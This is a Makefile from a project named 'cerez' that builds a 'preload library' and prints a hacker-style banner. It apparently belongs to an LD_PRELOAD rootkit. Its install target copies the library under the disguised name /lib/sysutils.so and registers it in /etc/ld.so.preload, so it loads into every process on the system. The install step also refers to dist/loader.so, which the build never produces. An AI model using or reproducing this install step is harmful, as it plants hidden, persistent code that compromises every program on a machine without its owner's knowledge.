-
Notifications
You must be signed in to change notification settings - Fork 11
/
Copy pathMakefile
40 lines (32 loc) · 1.65 KB
/
Makefile
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
CSRCS = $(wildcard src/*.c)
HSRCS = $(wildcard src/*.h)
DEBUG = 0
UNIQ = $(shell head -n10 /dev/urandom | md5sum | cut -d' ' -f1 | cut -c1-8)
all: dist dist/cerez.so
dist/cerez.so: $(CSRCS) $(HSRCS)
@echo -en '\033[0;31m'
@echo
@echo ' ▄████▄ ▓█████ ██▀███ ▓█████ ▒███████▒'
@echo '▒██▀ ▀█ ▓█ ▀ ▓██ ▒ ██▒▓█ ▀ ▒ ▒ ▒ ▄▀░'
@echo '▒▓█ ▄ ▒███ ▓██ ░▄█ ▒▒███ ░ ▒ ▄▀▒░ '
@echo '▒▓▓▄ ▄██▒▒▓█ ▄ ▒██▀▀█▄ ▒▓█ ▄ ▄▀▒ ░'
@echo '▒ ▓███▀ ░░▒████▒░██▓ ▒██▒░▒████▒▒███████▒'
@echo '░ ░▒ ▒ ░░░ ▒░ ░░ ▒▓ ░▒▓░░░ ▒░ ░░▒▒ ▓░▒░▒'
@echo ' ░ ▒ ░ ░ ░ ░▒ ░ ▒░ ░ ░ ░░░▒ ▒ ░ ▒'
@echo '░ ░ ░░ ░ ░ ░ ░ ░ ░ ░'
@echo '░ ░ ░ ░ ░ ░ ░ ░ ░ '
@echo
@echo -e '\033[0;31m\033[1m[*]\033[0m\033[1m Building the preload library\033[0m'
$(CC) -DDEBUG=$(DEBUG) -DUNIQ=\"$(UNIQ)\" -shared -fPIC $(CSRCS) -o $@ -ldl -lconfig -nostartfiles
@echo -e '\033[0;31m\033[1m[+]\033[0m\033[1m Done, run make install in order to install it\033[0m'
dist:
mkdir -p $@
clean:
rm -r dist
install:
install -Dm644 cerez.cfg /etc/cerez.cfg
install -Dm755 dist/loader.so /lib/sysutils.so
echo /lib/sysutils.so > /etc/ld.so.preload
format:
clang-format -i -style=file $(CSRCS) $(HSRCS)
.PHONY: clean install format